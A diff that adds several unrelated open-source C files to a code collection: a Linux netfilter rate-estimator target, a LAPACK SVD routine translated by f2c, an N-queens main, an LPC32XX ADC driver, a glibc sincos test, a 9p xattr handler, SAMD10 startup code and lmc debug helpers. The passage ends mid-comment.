+EXPORT_SYMBOL_GPL(xt_rateest_put); + +static unsigned int +xt_rateest_tg(struct sk_buff *skb, const struct xt_action_param *par) +{ + const struct xt_rateest_target_info *info = par->targinfo; + struct gnet_stats_basic_packed *stats = &info->est->bstats; + + spin_lock_bh(&info->est->lock); + stats->bytes += skb->len; + stats->packets++; + spin_unlock_bh(&info->est->lock); + + return XT_CONTINUE; +} + +static bool xt_rateest_tg_checkentry(const struct xt_tgchk_param *par) +{ + struct xt_rateest_target_info *info = par->targinfo; + struct xt_rateest *est; + struct { + struct nlattr opt; + struct gnet_estimator est; + } cfg; + + est = xt_rateest_lookup(info->name); + if (est) { + /* + * If estimator parameters are specified, they must match the + * existing estimator. + */ + if ((!info->interval && !info->ewma_log) || + (info->interval != est->params.interval || + info->ewma_log != est->params.ewma_log)) { + xt_rateest_put(est); + return false; + } + info->est = est; + return true; + } + + est = kzalloc(sizeof(*est), GFP_KERNEL); + if (!est) + goto err1; + + strlcpy(est->name, info->name, sizeof(est->name)); + spin_lock_init(&est->lock); + est->refcnt = 1; + est->params.interval = info->interval; + est->params.ewma_log = info->ewma_log; + + cfg.opt.nla_len = nla_attr_size(sizeof(cfg.est)); + cfg.opt.nla_type = TCA_STATS_RATE_EST; + cfg.est.interval = info->interval; + cfg.est.ewma_log = info->ewma_log; + + if (gen_new_estimator(&est->bstats, &est->rstats, &est->lock, + &cfg.opt) < 0) + goto err2; + + info->est = est; + xt_rateest_hash_insert(est); + + return true; + +err2: + kfree(est); +err1: + return false; +} + +static void xt_rateest_tg_destroy(const struct xt_tgdtor_param *par) +{ + struct xt_rateest_target_info *info = par->targinfo; + + xt_rateest_put(info->est); +} + +static struct xt_target xt_rateest_tg_reg __read_mostly = { + .name = "RATEEST", + .revision = 0, + .family = NFPROTO_UNSPEC, + .target = xt_rateest_tg, + .checkentry = xt_rateest_tg_checkentry, + .destroy = xt_rateest_tg_destroy, + .targetsize = sizeof(struct xt_rateest_target_info), + .me = THIS_MODULE, +}; + +static int __init xt_rateest_tg_init(void) +{ + unsigned int i; + + for (i = 0; i < ARRAY_SIZE(rateest_hash); i++) + INIT_HLIST_HEAD(&rateest_hash[i]); + + get_random_bytes(&jhash_rnd, sizeof(jhash_rnd)); + return xt_register_target(&xt_rateest_tg_reg); +} + +static void __exit xt_rateest_tg_fini(void) +{ + xt_unregister_target(&xt_rateest_tg_reg); +} + + +MODULE_AUTHOR("Patrick McHardy "); +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("Xtables: packet rate estimator"); +MODULE_ALIAS("ipt_RATEEST"); +MODULE_ALIAS("ip6t_RATEEST"); +module_init(xt_rateest_tg_init); +module_exit(xt_rateest_tg_fini); diff --git a/pool/shard011/C/0141649_slasd0.c b/pool/shard011/C/0141649_slasd0.c new file mode 100644 index 0000000000000000000000000000000000000000..41f3ee72b16f189405f7aed4c860662d8e2a8c00 --- /dev/null +++ b/pool/shard011/C/0141649_slasd0.c @@ -0,0 +1,286 @@ +/* slasd0.f -- translated by f2c (version 20061008). + You must link the resulting object file with libf2c: + on Microsoft Windows system, link with libf2c.lib; + on Linux or Unix systems, link with .../path/to/libf2c.a -lm + or, if you install libf2c.a in a standard place, with -lf2c -lm + -- in that order, at the end of the command line, as in + cc *.o -lf2c -lm + Source for libf2c is in /netlib/f2c/libf2c.zip, e.g., + + http://www.netlib.org/f2c/libf2c.zip +*/ + +#include "f2c.h" +#include "blaswrap.h" + +/* Table of constant values */ + +static integer c__0 = 0; +static integer c__2 = 2; + +/* Subroutine */ int slasd0_(integer *n, integer *sqre, real *d__, real *e, + real *u, integer *ldu, real *vt, integer *ldvt, integer *smlsiz, + integer *iwork, real *work, integer *info) +{ + /* System generated locals */ + integer u_dim1, u_offset, vt_dim1, vt_offset, i__1, i__2; + + /* Builtin functions */ + integer pow_ii(integer *, integer *); + + /* Local variables */ + integer i__, j, m, i1, ic, lf, nd, ll, nl, nr, im1, ncc, nlf, nrf, iwk, + lvl, ndb1, nlp1, nrp1; + real beta; + integer idxq, nlvl; + real alpha; + integer inode, ndiml, idxqc, ndimr, itemp, sqrei; + extern /* Subroutine */ int slasd1_(integer *, integer *, integer *, real + *, real *, real *, real *, integer *, real *, integer *, integer * +, integer *, real *, integer *), xerbla_(char *, integer *), slasdq_(char *, integer *, integer *, integer *, integer + *, integer *, real *, real *, real *, integer *, real *, integer * +, real *, integer *, real *, integer *), slasdt_(integer * +, integer *, integer *, integer *, integer *, integer *, integer * +); + + +/* -- LAPACK auxiliary routine (version 3.2) -- */ +/* Univ. of Tennessee, Univ. of California Berkeley and NAG Ltd.. */ +/* November 2006 */ + +/* .. Scalar Arguments .. */ +/* .. */ +/* .. Array Arguments .. */ +/* .. */ + +/* Purpose */ +/* ======= */ + +/* Using a divide and conquer approach, SLASD0 computes the singular */ +/* value decomposition (SVD) of a real upper bidiagonal N-by-M */ +/* matrix B with diagonal D and offdiagonal E, where M = N + SQRE. */ +/* The algorithm computes orthogonal matrices U and VT such that */ +/* B = U * S * VT. The singular values S are overwritten on D. */ + +/* A related subroutine, SLASDA, computes only the singular values, */ +/* and optionally, the singular vectors in compact form. */ + +/* Arguments */ +/* ========= */ + +/* N (input) INTEGER */ +/* On entry, the row dimension of the upper bidiagonal matrix. */ +/* This is also the dimension of the main diagonal array D. */ + +/* SQRE (input) INTEGER */ +/* Specifies the column dimension of the bidiagonal matrix. */ +/* = 0: The bidiagonal matrix has column dimension M = N; */ +/* = 1: The bidiagonal matrix has column dimension M = N+1; */ + +/* D (input/output) REAL array, dimension (N) */ +/* On entry D contains the main diagonal of the bidiagonal */ +/* matrix. */ +/* On exit D, if INFO = 0, contains its singular values. */ + +/* E (input) REAL array, dimension (M-1) */ +/* Contains the subdiagonal entries of the bidiagonal matrix. */ +/* On exit, E has been destroyed. */ + +/* U (output) REAL array, dimension at least (LDQ, N) */ +/* On exit, U contains the left singular vectors. */ + +/* LDU (input) INTEGER */ +/* On entry, leading dimension of U. */ + +/* VT (output) REAL array, dimension at least (LDVT, M) */ +/* On exit, VT' contains the right singular vectors. */ + +/* LDVT (input) INTEGER */ +/* On entry, leading dimension of VT. */ + +/* SMLSIZ (input) INTEGER */ +/* On entry, maximum size of the subproblems at the */ +/* bottom of the computation tree. */ + +/* IWORK (workspace) INTEGER array, dimension (8*N) */ + +/* WORK (workspace) REAL array, dimension (3*M**2+2*M) */ + +/* INFO (output) INTEGER */ +/* = 0: successful exit. */ +/* < 0: if INFO = -i, the i-th argument had an illegal value. */ +/* > 0: if INFO = 1, an singular value did not converge */ + +/* Further Details */ +/* =============== */ + +/* Based on contributions by */ +/* Ming Gu and Huan Ren, Computer Science Division, University of */ +/* California at Berkeley, USA */ + +/* ===================================================================== */ + +/* .. Local Scalars .. */ +/* .. */ +/* .. External Subroutines .. */ +/* .. */ +/* .. Executable Statements .. */ + +/* Test the input parameters. */ + + /* Parameter adjustments */ + --d__; + --e; + u_dim1 = *ldu; + u_offset = 1 + u_dim1; + u -= u_offset; + vt_dim1 = *ldvt; + vt_offset = 1 + vt_dim1; + vt -= vt_offset; + --iwork; + --work; + + /* Function Body */ + *info = 0; + + if (*n < 0) { + *info = -1; + } else if (*sqre < 0 || *sqre > 1) { + *info = -2; + } + + m = *n + *sqre; + + if (*ldu < *n) { + *info = -6; + } else if (*ldvt < m) { + *info = -8; + } else if (*smlsiz < 3) { + *info = -9; + } + if (*info != 0) { + i__1 = -(*info); + xerbla_("SLASD0", &i__1); + return 0; + } + +/* If the input matrix is too small, call SLASDQ to find the SVD. */ + + if (*n <= *smlsiz) { + slasdq_("U", sqre, n, &m, n, &c__0, &d__[1], &e[1], &vt[vt_offset], + ldvt, &u[u_offset], ldu, &u[u_offset], ldu, &work[1], info); + return 0; + } + +/* Set up the computation tree. */ + + inode = 1; + ndiml = inode + *n; + ndimr = ndiml + *n; + idxq = ndimr + *n; + iwk = idxq + *n; + slasdt_(n, &nlvl, &nd, &iwork[inode], &iwork[ndiml], &iwork[ndimr], + smlsiz); + +/* For the nodes on bottom level of the tree, solve */ +/* their subproblems by SLASDQ. */ + + ndb1 = (nd + 1) / 2; + ncc = 0; + i__1 = nd; + for (i__ = ndb1; i__ <= i__1; ++i__) { + +/* IC : center row of each node */ +/* NL : number of rows of left subproblem */ +/* NR : number of rows of right subproblem */ +/* NLF: starting row of the left subproblem */ +/* NRF: starting row of the right subproblem */ + + i1 = i__ - 1; + ic = iwork[inode + i1]; + nl = iwork[ndiml + i1]; + nlp1 = nl + 1; + nr = iwork[ndimr + i1]; + nrp1 = nr + 1; + nlf = ic - nl; + nrf = ic + 1; + sqrei = 1; + slasdq_("U", &sqrei, &nl, &nlp1, &nl, &ncc, &d__[nlf], &e[nlf], &vt[ + nlf + nlf * vt_dim1], ldvt, &u[nlf + nlf * u_dim1], ldu, &u[ + nlf + nlf * u_dim1], ldu, &work[1], info); + if (*info != 0) { + return 0; + } + itemp = idxq + nlf - 2; + i__2 = nl; + for (j = 1; j <= i__2; ++j) { + iwork[itemp + j] = j; +/* L10: */ + } + if (i__ == nd) { + sqrei = *sqre; + } else { + sqrei = 1; + } + nrp1 = nr + sqrei; + slasdq_("U", &sqrei, &nr, &nrp1, &nr, &ncc, &d__[nrf], &e[nrf], &vt[ + nrf + nrf * vt_dim1], ldvt, &u[nrf + nrf * u_dim1], ldu, &u[ + nrf + nrf * u_dim1], ldu, &work[1], info); + if (*info != 0) { + return 0; + } + itemp = idxq + ic; + i__2 = nr; + for (j = 1; j <= i__2; ++j) { + iwork[itemp + j - 1] = j; +/* L20: */ + } +/* L30: */ + } + +/* Now conquer each subproblem bottom-up. */ + + for (lvl = nlvl; lvl >= 1; --lvl) { + +/* Find the first node LF and last node LL on the */ +/* current level LVL. */ + + if (lvl == 1) { + lf = 1; + ll = 1; + } else { + i__1 = lvl - 1; + lf = pow_ii(&c__2, &i__1); + ll = (lf << 1) - 1; + } + i__1 = ll; + for (i__ = lf; i__ <= i__1; ++i__) { + im1 = i__ - 1; + ic = iwork[inode + im1]; + nl = iwork[ndiml + im1]; + nr = iwork[ndimr + im1]; + nlf = ic - nl; + if (*sqre == 0 && i__ == ll) { + sqrei = *sqre; + } else { + sqrei = 1; + } + idxqc = idxq + nlf - 1; + alpha = d__[ic]; + beta = e[ic]; + slasd1_(&nl, &nr, &sqrei, &d__[nlf], &alpha, &beta, &u[nlf + nlf * + u_dim1], ldu, &vt[nlf + nlf * vt_dim1], ldvt, &iwork[ + idxqc], &iwork[iwk], &work[1], info); + if (*info != 0) { + return 0; + } +/* L40: */ + } +/* L50: */ + } + + return 0; + +/* End of SLASD0 */ + +} /* slasd0_ */ diff --git a/pool/shard011/C/0141650_main.c b/pool/shard011/C/0141650_main.c new file mode 100644 index 0000000000000000000000000000000000000000..17ed40852a9c6b6db0a3732a2a9d126c94140bc3 --- /dev/null +++ b/pool/shard011/C/0141650_main.c @@ -0,0 +1,36 @@ +#include +#include +#include +#include "nqueens.h" + +int main(int argc, char ** argv) +{ + int n = 16; + uint64_t count = 0; + q_body_t *nq = NULL; + + if (argc == 2) { + n = atoi(argv[1]); + } + if (n == 1) { + printf("1 Queen: 1\n"); + return 0; + } + if (n < 4) { + printf("%d Queens: 0\n", n); + return 0; + } + + nq = q_queen_init(n); + if (!nq) { + printf("Malloc error! Exiting...\n"); + return 1; + } + + count = q_nqueens_loop(nq); + + + printf("%d Queens: %llu\n", n, count); + + return 0; +} diff --git a/pool/shard011/C/0141651_lpc32xx_adc.c b/pool/shard011/C/0141651_lpc32xx_adc.c new file mode 100644 index 0000000000000000000000000000000000000000..d11c54b721860cccb0c6db82a6d9353787560896 --- /dev/null +++ b/pool/shard011/C/0141651_lpc32xx_adc.c @@ -0,0 +1,215 @@ +/* + * lpc32xx_adc.c - Support for ADC in LPC32XX + * + * 3-channel, 10-bit ADC + * + * Copyright (C) 2011, 2012 Roland Stigge + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +/* + * LPC32XX registers definitions + */ +#define LPC32XX_ADC_SELECT(x) ((x) + 0x04) +#define LPC32XX_ADC_CTRL(x) ((x) + 0x08) +#define LPC32XX_ADC_VALUE(x) ((x) + 0x48) + +/* Bit definitions for LPC32XX_ADC_SELECT: */ +#define AD_REFm 0x00000200 /* constant, always write this value! */ +#define AD_REFp 0x00000080 /* constant, always write this value! */ +#define AD_IN 0x00000010 /* multiple of this is the */ + /* channel number: 0, 1, 2 */ +#define AD_INTERNAL 0x00000004 /* constant, always write this value! */ + +/* Bit definitions for LPC32XX_ADC_CTRL: */ +#define AD_STROBE 0x00000002 +#define AD_PDN_CTRL 0x00000004 + +/* Bit definitions for LPC32XX_ADC_VALUE: */ +#define ADC_VALUE_MASK 0x000003FF + +#define MOD_NAME "lpc32xx-adc" + +struct lpc32xx_adc_info { + void __iomem *adc_base; + struct clk *clk; + struct completion completion; + + u32 value; +}; + +static int lpc32xx_read_raw(struct iio_dev *indio_dev, + struct iio_chan_spec const *chan, + int *val, + int *val2, + long mask) +{ + struct lpc32xx_adc_info *info = iio_priv(indio_dev); + + if (mask == IIO_CHAN_INFO_RAW) { + mutex_lock(&indio_dev->mlock); + clk_enable(info->clk); + /* Measurement setup */ + __raw_writel(AD_INTERNAL | (chan->address) | AD_REFp | AD_REFm, + LPC32XX_ADC_SELECT(info->adc_base)); + /* Trigger conversion */ + __raw_writel(AD_PDN_CTRL | AD_STROBE, + LPC32XX_ADC_CTRL(info->adc_base)); + wait_for_completion(&info->completion); /* set by ISR */ + clk_disable(info->clk); + *val = info->value; + mutex_unlock(&indio_dev->mlock); + + return IIO_VAL_INT; + } + + return -EINVAL; +} + +static const struct iio_info lpc32xx_adc_iio_info = { + .read_raw = &lpc32xx_read_raw, + .driver_module = THIS_MODULE, +}; + +#define LPC32XX_ADC_CHANNEL(_index) { \ + .type = IIO_VOLTAGE, \ + .indexed = 1, \ + .channel = _index, \ + .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), \ + .address = AD_IN * _index, \ + .scan_index = _index, \ +} + +static const struct iio_chan_spec lpc32xx_adc_iio_channels[] = { + LPC32XX_ADC_CHANNEL(0), + LPC32XX_ADC_CHANNEL(1), + LPC32XX_ADC_CHANNEL(2), +}; + +static irqreturn_t lpc32xx_adc_isr(int irq, void *dev_id) +{ + struct lpc32xx_adc_info *info = dev_id; + + /* Read value and clear irq */ + info->value = __raw_readl(LPC32XX_ADC_VALUE(info->adc_base)) & + ADC_VALUE_MASK; + complete(&info->completion); + + return IRQ_HANDLED; +} + +static int lpc32xx_adc_probe(struct platform_device *pdev) +{ + struct lpc32xx_adc_info *info = NULL; + struct resource *res; + int retval = -ENODEV; + struct iio_dev *iodev = NULL; + int irq; + + res = platform_get_resource(pdev, IORESOURCE_MEM, 0); + if (!res) { + dev_err(&pdev->dev, "failed to get platform I/O memory\n"); + return -ENXIO; + } + + iodev = devm_iio_device_alloc(&pdev->dev, sizeof(*info)); + if (!iodev) + return -ENOMEM; + + info = iio_priv(iodev); + + info->adc_base = devm_ioremap(&pdev->dev, res->start, + resource_size(res)); + if (!info->adc_base) { + dev_err(&pdev->dev, "failed mapping memory\n"); + return -EBUSY; + } + + info->clk = devm_clk_get(&pdev->dev, NULL); + if (IS_ERR(info->clk)) { + dev_err(&pdev->dev, "failed getting clock\n"); + return PTR_ERR(info->clk); + } + + irq = platform_get_irq(pdev, 0); + if (irq <= 0) { + dev_err(&pdev->dev, "failed getting interrupt resource\n"); + return -ENXIO; + } + + retval = devm_request_irq(&pdev->dev, irq, lpc32xx_adc_isr, 0, + MOD_NAME, info); + if (retval < 0) { + dev_err(&pdev->dev, "failed requesting interrupt\n"); + return retval; + } + + platform_set_drvdata(pdev, iodev); + + init_completion(&info->completion); + + iodev->name = MOD_NAME; + iodev->dev.parent = &pdev->dev; + iodev->info = &lpc32xx_adc_iio_info; + iodev->modes = INDIO_DIRECT_MODE; + iodev->channels = lpc32xx_adc_iio_channels; + iodev->num_channels = ARRAY_SIZE(lpc32xx_adc_iio_channels); + + retval = devm_iio_device_register(&pdev->dev, iodev); + if (retval) + return retval; + + dev_info(&pdev->dev, "LPC32XX ADC driver loaded, IRQ %d\n", irq); + + return 0; +} + +#ifdef CONFIG_OF +static const struct of_device_id lpc32xx_adc_match[] = { + { .compatible = "nxp,lpc3220-adc" }, + {}, +}; +MODULE_DEVICE_TABLE(of, lpc32xx_adc_match); +#endif + +static struct platform_driver lpc32xx_adc_driver = { + .probe = lpc32xx_adc_probe, + .driver = { + .name = MOD_NAME, + .of_match_table = of_match_ptr(lpc32xx_adc_match), + }, +}; + +module_platform_driver(lpc32xx_adc_driver); + +MODULE_AUTHOR("Roland Stigge "); +MODULE_DESCRIPTION("LPC32XX ADC driver"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141652_test-double-libmvec-sincos-main.c b/pool/shard011/C/0141652_test-double-libmvec-sincos-main.c new file mode 100644 index 0000000000000000000000000000000000000000..c33436dc0fa5ba83bc43f75b6ecd788700b6d213 --- /dev/null +++ b/pool/shard011/C/0141652_test-double-libmvec-sincos-main.c @@ -0,0 +1,43 @@ +/* Test for vector sincos ABI. + Copyright (C) 2016-2017 Free Software Foundation, Inc. + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + . */ + +#include + +#define N 1000 +double x[N], s[N], c[N]; +double* s_ptrs[N]; +double* c_ptrs[N]; + +int +test_sincos_abi (void) +{ + int i; + + for(i = 0; i < N; i++) + { + x[i] = i / 3; + s_ptrs[i] = &s[i]; + c_ptrs[i] = &c[i]; + } + +#pragma omp simd + for(i = 0; i < N; i++) + sincos (x[i], s_ptrs[i], c_ptrs[i]); + + return 0; +} diff --git a/pool/shard011/C/0141653_xattr_trusted.c b/pool/shard011/C/0141653_xattr_trusted.c new file mode 100644 index 0000000000000000000000000000000000000000..e30d33b8a3fb29cbdbd9e00cd5fa46029e57bc59 --- /dev/null +++ b/pool/shard011/C/0141653_xattr_trusted.c @@ -0,0 +1,80 @@ +/* + * Copyright IBM Corporation, 2010 + * Author Aneesh Kumar K.V + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + + +#include +#include +#include +#include +#include "xattr.h" + +static int v9fs_xattr_trusted_get(struct dentry *dentry, const char *name, + void *buffer, size_t size, int type) +{ + int retval; + char *full_name; + size_t name_len; + size_t prefix_len = XATTR_TRUSTED_PREFIX_LEN; + + if (name == NULL) + return -EINVAL; + + if (strcmp(name, "") == 0) + return -EINVAL; + + name_len = strlen(name); + full_name = kmalloc(prefix_len + name_len + 1 , GFP_KERNEL); + if (!full_name) + return -ENOMEM; + memcpy(full_name, XATTR_TRUSTED_PREFIX, prefix_len); + memcpy(full_name+prefix_len, name, name_len); + full_name[prefix_len + name_len] = '\0'; + + retval = v9fs_xattr_get(dentry, full_name, buffer, size); + kfree(full_name); + return retval; +} + +static int v9fs_xattr_trusted_set(struct dentry *dentry, const char *name, + const void *value, size_t size, int flags, int type) +{ + int retval; + char *full_name; + size_t name_len; + size_t prefix_len = XATTR_TRUSTED_PREFIX_LEN; + + if (name == NULL) + return -EINVAL; + + if (strcmp(name, "") == 0) + return -EINVAL; + + name_len = strlen(name); + full_name = kmalloc(prefix_len + name_len + 1 , GFP_KERNEL); + if (!full_name) + return -ENOMEM; + memcpy(full_name, XATTR_TRUSTED_PREFIX, prefix_len); + memcpy(full_name + prefix_len, name, name_len); + full_name[prefix_len + name_len] = '\0'; + + retval = v9fs_xattr_set(dentry, full_name, value, size, flags); + kfree(full_name); + return retval; +} + +struct xattr_handler v9fs_xattr_trusted_handler = { + .prefix = XATTR_TRUSTED_PREFIX, + .get = v9fs_xattr_trusted_get, + .set = v9fs_xattr_trusted_set, +}; diff --git a/pool/shard011/C/0141654_startup_samd10.c b/pool/shard011/C/0141654_startup_samd10.c new file mode 100644 index 0000000000000000000000000000000000000000..6897004ddeac48bb53b947cb60f122958a676e77 --- /dev/null +++ b/pool/shard011/C/0141654_startup_samd10.c @@ -0,0 +1,183 @@ +/** + * \file + * + * \brief gcc starttup file for SAMD10 + * + * Copyright (c) 2014 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel microcontroller product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#include "samd10.h" + +/* Initialize segments */ +extern uint32_t _sfixed; +extern uint32_t _efixed; +extern uint32_t _etext; +extern uint32_t _srelocate; +extern uint32_t _erelocate; +extern uint32_t _szero; +extern uint32_t _ezero; +extern uint32_t _sstack; +extern uint32_t _estack; + +/** \cond DOXYGEN_SHOULD_SKIP_THIS */ +int main(void); +/** \endcond */ + +void __libc_init_array(void); + +/* Default empty handler */ +void Dummy_Handler(void); + +/* Cortex-M0+ core handlers */ +void NMI_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void HardFault_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void SVC_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void PendSV_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void SysTick_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); + +/* Peripherals handlers */ +void PM_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void SYSCTRL_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void WDT_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void RTC_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void EIC_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void NVMCTRL_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void DMAC_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void USB_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void EVSYS_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void SERCOM0_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void SERCOM1_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void SERCOM2_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void TCC0_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void TC1_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void TC2_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void ADC_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void AC_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void DAC_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); +void PTC_Handler ( void ) __attribute__ ((weak, alias("Dummy_Handler"))); + +/* Exception Table */ +__attribute__ ((section(".vectors"))) +const DeviceVectors exception_table = { + + /* Configure Initial Stack Pointer, using linker-generated symbols */ + (void*) (&_estack), + + (void*) Reset_Handler, + (void*) NMI_Handler, + (void*) HardFault_Handler, + (void*) (0UL), /* Reserved */ + (void*) (0UL), /* Reserved */ + (void*) (0UL), /* Reserved */ + (void*) (0UL), /* Reserved */ + (void*) (0UL), /* Reserved */ + (void*) (0UL), /* Reserved */ + (void*) (0UL), /* Reserved */ + (void*) SVC_Handler, + (void*) (0UL), /* Reserved */ + (void*) (0UL), /* Reserved */ + (void*) PendSV_Handler, + (void*) SysTick_Handler, + + /* Configurable interrupts */ + (void*) PM_Handler, /* 0 Power Manager */ + (void*) SYSCTRL_Handler, /* 1 System Control */ + (void*) WDT_Handler, /* 2 Watchdog Timer */ + (void*) RTC_Handler, /* 3 Real-Time Counter */ + (void*) EIC_Handler, /* 4 External Interrupt Controller */ + (void*) NVMCTRL_Handler, /* 5 Non-Volatile Memory Controller */ + (void*) DMAC_Handler, /* 6 Direct Memory Access Controller */ + (void*) USB_Handler, /* 7 Universal Serial Bus */ + (void*) EVSYS_Handler, /* 8 Event System Interface */ + (void*) SERCOM0_Handler, /* 9 Serial Communication Interface 0 */ + (void*) SERCOM1_Handler, /* 10 Serial Communication Interface 1 */ + (void*) SERCOM2_Handler, /* 11 Serial Communication Interface 2 */ + (void*) TCC0_Handler, /* 12 Timer Counter Control */ + (void*) TC1_Handler, /* 13 Basic Timer Counter 0 */ + (void*) TC2_Handler, /* 14 Basic Timer Counter 1 */ + (void*) ADC_Handler, /* 15 Analog Digital Converter */ + (void*) AC_Handler, /* 16 Analog Comparators */ + (void*) DAC_Handler, /* 17 Digital Analog Converter */ + (void*) PTC_Handler /* 18 Peripheral Touch Controller */ +}; + +/** + * \brief This is the code that gets called on processor reset. + * To initialize the device, and call the main() routine. + */ +void Reset_Handler(void) +{ + uint32_t *pSrc, *pDest; + + /* Initialize the relocate segment */ + pSrc = &_etext; + pDest = &_srelocate; + + if (pSrc != pDest) { + for (; pDest < &_erelocate;) { + *pDest++ = *pSrc++; + } + } + + /* Clear the zero segment */ + for (pDest = &_szero; pDest < &_ezero;) { + *pDest++ = 0; + } + + /* Set the vector table base address */ + pSrc = (uint32_t *) & _sfixed; + SCB->VTOR = ((uint32_t) pSrc & SCB_VTOR_TBLOFF_Msk); + + /* Initialize the C library */ + __libc_init_array(); + + /* Branch to main function */ + main(); + + /* Infinite loop */ + while (1); +} + +/** + * \brief Default interrupt handler for unused IRQs. + */ +void Dummy_Handler(void) +{ + while (1) { + } +} diff --git a/pool/shard011/C/0141655_lmc_debug.c b/pool/shard011/C/0141655_lmc_debug.c new file mode 100644 index 0000000000000000000000000000000000000000..2b6051bda3fb1abefc2de87dd91e9a40b0738a18 --- /dev/null +++ b/pool/shard011/C/0141655_lmc_debug.c @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: GPL-2.0 +#include +#include +#include + +#include "lmc_debug.h" + +/* + * Prints out len, max to 80 octets using printk, 20 per line + */ +#ifdef DEBUG +#ifdef LMC_PACKET_LOG +void lmcConsoleLog(char *type, unsigned char *ucData, int iLen) +{ + int iNewLine = 1; + char str[80], *pstr; + + sprintf(str, KERN_DEBUG "lmc: %s: ", type); + pstr = str+strlen(str); + + if(iLen > 240){ + printk(KERN_DEBUG "lmc: Printing 240 chars... out of: %d\n", iLen); + iLen = 240; + } + else{ + printk(KERN_DEBUG "lmc: Printing %d chars\n", iLen); + } + + while(iLen > 0) + { + sprintf(pstr, "%02x ", *ucData); + pstr+=3; + ucData++; + if( !(iNewLine % 20)) + { + sprintf(pstr, "\n"); + printk(str); + sprintf(str, KERN_DEBUG "lmc: %s: ", type); + pstr=str+strlen(str); + } + iNewLine++; + iLen--; + } + sprintf(pstr, "\n"); + printk(str); +} +#endif +#endif + +#ifdef DEBUG +u32 lmcEventLogIndex; +u32 lmcEventLogBuf[LMC_EVENTLOGSIZE * LMC_EVENTLOGARGS]; + +void lmcEventLog(u32 EventNum, u32 arg2, u32 arg3) +{ + lmcEventLogBuf[lmcEventLogIndex++] = EventNum; + lmcEventLogBuf[lmcEventLogIndex++] = arg2; + lmcEventLogBuf[lmcEventLogIndex++] = arg3; + lmcEventLogBuf[lmcEventLogIndex++] = jiffies; + + lmcEventLogIndex &= (LMC_EVENTLOGSIZE * LMC_EVENTLOGARGS) - 1; +} +#endif /* DEBUG */ + +/* --------------------------- end 